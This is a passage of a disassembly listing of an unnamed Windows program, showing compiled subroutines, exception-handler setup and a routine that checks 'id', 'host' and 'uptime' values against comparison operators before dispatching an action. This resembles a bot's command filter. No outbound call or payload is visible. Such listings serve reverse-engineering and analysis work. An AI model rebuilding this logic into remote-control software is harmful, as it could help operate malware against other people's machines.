		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	eax, [esp+10h+arg_200C]
		mov	edx, [esp+10h+arg_2008]
		add	esp, 10h
		lea	ecx, [esp+0]
		push	eax
		mov	eax, [esp+4+arg_2004]
		push	ecx
		mov	ecx, [esp+8+arg_2000]
		push	edx
		push	eax
		call	sub_401118
		add	esp, 2000h
		retn
sub_412B70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412BF0	proc near		; CODE XREF: sub_401D20j
		push	esi
		mov	esi, ecx
		call	sub_401FD7
		mov	eax, [esi+1Ch]
		inc	eax
		mov	[esi+1Ch], eax
		pop	esi
		retn
sub_412BF0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412C20	proc near		; CODE XREF: sub_401FD7j
		push	esi
		mov	esi, ecx
		xor	al, al
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_44AC5E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401541
		pop	esi
		retn
sub_412C20	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412C60	proc near		; CODE XREF: sub_40172Bj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_412C60	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412C90	proc near		; CODE XREF: sub_401B68j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401717
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
sub_412C90	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412CE0	proc near		; CODE XREF: sub_401F1Ej

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412CE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	6
		push	9
		push	4Fh
		push	3
		push	9
		push	7
		push	0Fh
		lea	eax, [esp+48h+var_24]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_412CE0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412D80:				; CODE XREF: ___:loc_40100Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43AC4E
		push	eax
		mov	large fs:0, esp
		sub	esp, 90h
		add	ecx, 4
		push	ebp
		push	esi
		mov	esi, [esp+0A8h]
		lea	ebp, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4130A6
		push	ebx
		push	edi
		push	offset asc_444600 ; " "
		lea	eax, [esp+44h]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+2Ch]
		push	2
		push	ecx
		mov	ecx, esi
		mov	dword ptr [esp+0B4h], 0
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	edx, [esp+14h]
		push	3
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 1
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	eax, [esp+74h]
		push	0
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 2
		call	sub_4016B8
		mov	edi, eax
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 3
		call	sub_4013E3
		lea	ecx, [esp+28h]
		mov	ebx, eax
		call	sub_4013E3
		lea	ecx, [esp+40h]
		add	ebx, eax
		call	sub_4013E3
		mov	ecx, edi
		add	ebx, eax
		call	sub_4013E3
		lea	ecx, [esp+70h]
		lea	edi, [ebx+eax+4]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+58h]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_401E47
		push	offset asc_444600 ; " "
		lea	edx, [esp+8Ch]
		push	4
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 4
		call	sub_4016B8
		lea	ecx, [esp+70h]
		push	1
		mov	bl, 5
		push	ecx
		mov	ecx, eax
		mov	[esp+0B0h], bl
		call	sub_401E47
		push	eax
		mov	ecx, ebp
		mov	byte ptr [esp+0ACh], 6
		call	sub_40202C
		lea	ecx, [esp+70h]
		mov	[esp+0A8h], bl
		call	sub_401226
		mov	byte ptr [esp+0A8h], 4
		lea	ecx, [esp+88h]
		call	sub_401226
		lea	edx, [esp+58h]
		mov	ecx, esi
		push	edx
		call	sub_40202C
		push	offset asc_444D1C ; "!="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F05
		xor	edi, edi


loc_412F05:				; CODE XREF: ___:00412F01j
		push	offset asc_444D18 ; "=="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F1C
		mov	edi, 1


loc_412F1C:				; CODE XREF: ___:00412F15j
		push	offset asc_444D14 ; ">"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F33
		mov	edi, 2


loc_412F33:				; CODE XREF: ___:00412F2Cj
		push	offset asc_444D10 ; "<"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F4A
		mov	edi, 3


loc_412F4A:				; CODE XREF: ___:00412F43j
		push	offset aId	; "id"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FA4
		test	edi, edi
		jnz	short loc_412F7A
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset word_44955A
		call	sub_4012EE
		test	eax, eax
		jz	short loc_412FA4
		jmp	short loc_412F97
; ---------------------------------------------------------------------------


loc_412F7A:				; CODE XREF: ___:00412F5Ej
		cmp	edi, 1
		jnz	short loc_412FA4
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset word_44955A
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FA4


loc_412F97:				; CODE XREF: ___:00412F78j
		push	0
		push	esi
		mov	ecx, offset byte_449277
		call	sub_401A41


loc_412FA4:				; CODE XREF: ___:00412F5Aj
					; ___:00412F76j ...
		push	offset aHost	; "host"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FF7
		test	edi, edi
		jnz	short loc_412FD8
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4D809D
		call	sub_4013ED
		test	eax, eax
		jnz	loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_412FD8:				; CODE XREF: ___:00412FB8j
		cmp	edi, 1
		jnz	short loc_413059
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4D809D
		call	sub_4013ED
		test	eax, eax
		jz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_412FF7:				; CODE XREF: ___:00412FB4j
		push	offset aUptime	; "uptime"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_413059
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ebx, eax
		call	sub_40165E
		test	edi, edi
		jnz	short loc_41302D
		cmp	eax, ebx
		jz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_41302D:				; CODE XREF: ___:00413025j
		cmp	edi, 1
		jnz	short loc_413038
		cmp	eax, ebx
		jnz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413038:				; CODE XREF: ___:00413030j
		cmp	edi, 2
		jnz	short loc_413043
		cmp	eax, ebx
		jle	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413043:				; CODE XREF: ___:0041303Bj
		cmp	edi, 3
		jnz	short loc_413059
		cmp	eax, ebx
		jge	short loc_413059


loc_41304C:				; CODE XREF: ___:00412FD6j
					; ___:00412FF5j ...
		push	0
		push	esi
		mov	ecx, offset byte_449277
		call	sub_401A41


loc_413059:				; CODE XREF: ___:00412FD0j
					; ___:00412FDBj ...
		lea	ecx, [esp+58h]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 1
		call	sub_401226
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+0A8h], 0
		call	sub_401226
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+0A8h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebx
		jmp	short loc_4130A8
; ---------------------------------------------------------------------------


loc_4130A6:				; CODE XREF: ___:00412DB9j
		mov	al, 1


loc_4130A8:				; CODE XREF: ___:004130A4j
		mov	ecx, [esp+98h]
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 9Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4131B0	proc near		; CODE XREF: sub_40165Ej
		nop
		call	near ptr 2800B86h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		mov	eax, edx
		add	eax, ecx
		sar	eax, 10h
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		retn
sub_4131B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4131F0	proc near		; CODE XREF: sub_402018j

var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4131F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+20h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+20h+var_4], 0
		call	sub_401753
		lea	edi, [esi+60h]
		lea	eax, [esp+20h+var_12]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401F23
sub_4131F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Fh]
		lea	ebx, [esi+6Ch]
		push	ecx
		mov	ecx, ebx
		mov	byte ptr [esp+20h], 2
		call	sub_401852
; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+1Ch], 3
		mov	dword ptr [esi], offset	off_43F044
		call	sub_401933
		mov	ecx, ebx
		call	sub_401C76
		mov	ecx, [esp+14h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132C0	proc near		; CODE XREF: sub_401D0Cj ___:00401E29j
		push	esi
		mov	esi, ecx
		call	sub_401CA3
sub_4132C0	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_4132D8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4132D8:				; CODE XREF: ___:004132CDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132F0	proc near		; CODE XREF: sub_401CA3j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4132F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		mov	dword ptr [esi], offset	off_43F044
		lea	edi, [esi+60h]
		mov	[esp+1Ch+var_4], 3
		mov	ecx, edi
		call	sub_401933
		lea	ebx, [esi+6Ch]
		mov	ecx, ebx
		call	sub_401C76
		mov	ecx, ebx
		mov	byte ptr [esp+1Ch+var_4], 2
		call	sub_4014BF
sub_4132F0	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 1
		call	sub_4011B8
; ---------------------------------------------------------------------------
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+18h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4133B0	proc near		; CODE XREF: sub_401A05j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4133B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	15h
		push	0Fh
		push	7
		push	0Fh
		lea	eax, [esp+58h+var_3C]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+32h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4133B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		lea	edx, [esp+28h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 14h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4134A0	proc near		; CODE XREF: sub_401CE4j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4134A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0
		call	sub_4017EE
		test	eax, eax
		jz	short loc_413547
		lea	ecx, [esp+18h+var_14]
		call	sub_402275
		add	esi, 6Ch
		lea	eax, [esp+18h+var_10]
		push	eax
		mov	ecx, esi
		call	sub_401901
		mov	ecx, [eax]
		lea	edx, [esp+18h+var_10]
		mov	[esp+18h+var_14], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jz	short loc_413547


loc_413508:				; CODE XREF: sub_4134A0+A5j
		lea	eax, [esp+18h+arg_0]
		lea	ecx, [esp+18h+var_14]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+18h+var_14]
		jz	short loc_41356C
		call	sub_40118B
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jnz	short loc_413508


loc_413547:				; CODE XREF: sub_4134A0+2Ej
					; sub_4134A0+66j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
; ---------------------------------------------------------------------------


loc_41356C:				; CODE XREF: sub_4134A0+86j
		call	sub_40135C
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
sub_4134A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4135E0	proc near		; CODE XREF: sub_402130j

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4135E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, ecx
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0
		call	sub_4017EE
		test	eax, eax
		jz	loc_4136B3
		lea	ecx, [esp+28h+var_18]
		call	sub_401037
		lea	ebp, [ebx+60h]
		lea	eax, [esp+28h+var_14]
		push	eax
		mov	ecx, ebp
		call	sub_401992
		mov	ecx, [eax]
		lea	edx, [esp+28h+var_14]
		mov	[esp+28h+var_18], ecx
		push	edx
		mov	ecx, ebp
		call	sub_402257
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AEB
		test	al, al
		jz	short loc_4136B3


loc_41364F:				; CODE XREF: sub_4135E0+D1j
		lea	ecx, [esp+28h+var_18]
		call	sub_4011D1
		mov	edi, [eax]
		sub	esp, 18h
		lea	eax, [esp+40h+arg_0]
		mov	ecx, esp
		mov	[esp+40h+var_10], esp
		push	eax
		call	sub_4014D3
		mov	ecx, ebx
		call	sub_401CE4
		mov	esi, eax
		test	esi, esi
		jz	short loc_41367C
		mov	edi, [esi]


loc_41367C:				; CODE XREF: sub_4135E0+98j
		lea	ecx, [esp+28h+arg_0]
		push	ecx
		mov	ecx, edi
		call	sub_401B86
		test	eax, eax
		jz	short loc_4136DB
		test	esi, esi
		jnz	short loc_4136DB
		lea	ecx, [esp+28h+var_18]
		call	sub_4018C5
		lea	edx, [esp+28h+var_14]
		mov	ecx, ebp
		push	edx
		call	sub_402257
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AEB
		test	al, al
		jnz	short loc_41364F


loc_4136B3:				; CODE XREF: sub_4135E0+31j
					; sub_4135E0+6Dj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax


loc_4136C6:				; CODE XREF: sub_4135E0+10Ej
		mov	ecx, [esp+28h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_4136DB:				; CODE XREF: sub_4135E0+AAj
					; sub_4135E0+AEj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, edi
		jmp	short loc_4136C6
sub_4135E0	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413740	proc near		; CODE XREF: sub_401F64j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413740
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		lea	ecx, [esp+14h+arg_0]
		mov	[esp+14h+var_4], 1
		call	sub_4017EE
		test	eax, eax
		jz	short loc_4137E4
		lea	ecx, [esp+14h+var_14]
		call	sub_401E38
		lea	eax, [esp+14h+var_10]
		lea	ecx, [esp+14h+arg_18]
		push	eax
		call	sub_4012E9
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_14], ecx
		push	edx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D70
		test	al, al
		jz	short loc_4137E4


loc_4137A6:				; CODE XREF: sub_413740+A2j
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_14]
		push	eax
		call	sub_401FC3
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jz	short loc_413816
		lea	ecx, [esp+14h+var_14]
		call	sub_4020C2
		lea	ecx, [esp+14h+var_10]
		push	ecx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D70
		test	al, al
		jnz	short loc_4137A6


loc_4137E4:				; CODE XREF: sub_413740+2Bj
					; sub_413740+64j
		lea	ecx, [esp+14h+arg_0]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+14h+arg_18]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401582
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------


loc_413816:				; CODE XREF: sub_413740+7Dj
		push	esi
		lea	ecx, [esp+18h+var_14]
		call	sub_401FC3
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401582
sub_413740	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4138B0	proc near		; CODE XREF: sub_4011DBj

var_A4		= byte ptr -0A4h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_64		= byte ptr -64h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4138B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 98h
		push	esi
		xor	esi, esi
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], esi
		call	sub_4017EE
		test	eax, eax
		jz	loc_4139E3
		lea	eax, [esp+0A8h+var_64]
		push	eax
		call	sub_401A69
		add	esp, 4
		lea	ecx, [esp+0A8h+var_A4]
		call	sub_40142E
		push	offset byte_448F30
		lea	ecx, [esp+0ACh+var_A4]
		mov	byte ptr [esp+0ACh+var_4], 1
		call	sub_4015E1
		lea	ecx, [esp+0A8h+arg_0]
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+0ACh+arg_0]
		call	sub_4014DD
		lea	ecx, [esp+0ACh+var_64]
		push	eax
		push	ecx
		call	sub_401C26
		lea	edx, [esp+0B4h+var_64]
		lea	eax, [esp+0B4h+var_74]
		push	edx
		push	eax
		call	sub_402176
		add	esp, 14h


loc_41394B:				; CODE XREF: sub_4138B0+E8j
		lea	ecx, [esp+0A8h+var_8C]
		call	sub_40142E
		xor	ecx, ecx
		lea	edx, [esp+0A8h+var_8C]
		mov	cl, [esp+esi+0A8h+var_74]
		mov	byte ptr [esp+0A8h+var_4], 2
		push	ecx
		push	offset a2_2x	; "%2.2X"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	eax, [esp+0A8h+var_8C]
		lea	ecx, [esp+0A8h+var_A4]
		push	eax
		call	sub_4016C7
		lea	ecx, [esp+0A8h+var_8C]
		mov	byte ptr [esp+0A8h+var_4], 1
		call	sub_401226
		inc	esi
		cmp	esi, 10h
		jl	short loc_41394B
		mov	edx, [esp+0A8h+arg_18]
		lea	ecx, [esp+0A8h+var_A4]
		push	ecx
		lea	ecx, [edx+15h]
		call	sub_401B86
		test	eax, eax
		mov	byte ptr [esp+0A8h+var_4], 0
		lea	ecx, [esp+0A8h+var_A4]
		jnz	short loc_4139DE
		call	sub_401226
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_4139FC
; ---------------------------------------------------------------------------


loc_4139DE:				; CODE XREF: sub_4138B0+10Cj
		call	sub_401226


loc_4139E3:				; CODE XREF: sub_4138B0+33j
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_4139FC:				; CODE XREF: sub_4138B0+12Cj
		mov	ecx, [esp+0A8h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 0A4h
		retn	1Ch
sub_4138B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413A80	proc near		; CODE XREF: sub_40192Ej

var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413A80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		lea	eax, [esp+30h+arg_18]
		mov	ecx, esp
		mov	[esp+30h+var_14], esp
		push	eax
		mov	[esp+34h+var_4], 1
		call	sub_4014D3
		mov	ecx, esi
		call	sub_402130
		test	eax, eax
		jz	short loc_413B2E
		sub	esp, 0Ch
		add	eax, 54h
		mov	ecx, esp
		mov	[esp+24h+var_14], esp
		push	eax
		call	sub_401726
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+40h]
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	edx
		mov	[esp+44h+var_8], 2
		call	sub_4014D3
		mov	ecx, esi
		mov	[esp+40h+var_8], 1
		call	sub_401F64
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_413B2E
		lea	ecx, [esp+40h+var_24]
		mov	byte ptr [esp+40h+var_2C], 0
		call	sub_401226
		lea	ecx, [esp+40h+var_C]
		mov	[esp+40h+var_2C], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+40h+var_34]
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
; ---------------------------------------------------------------------------


loc_413B2E:				; CODE XREF: sub_413A80+3Fj
					; sub_413A80+79j
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
sub_413A80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413BB0:				; CODE XREF: ___:00401393j
		push	0FFFFFFFFh
		push	offset loc_43AE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	ecx, esi
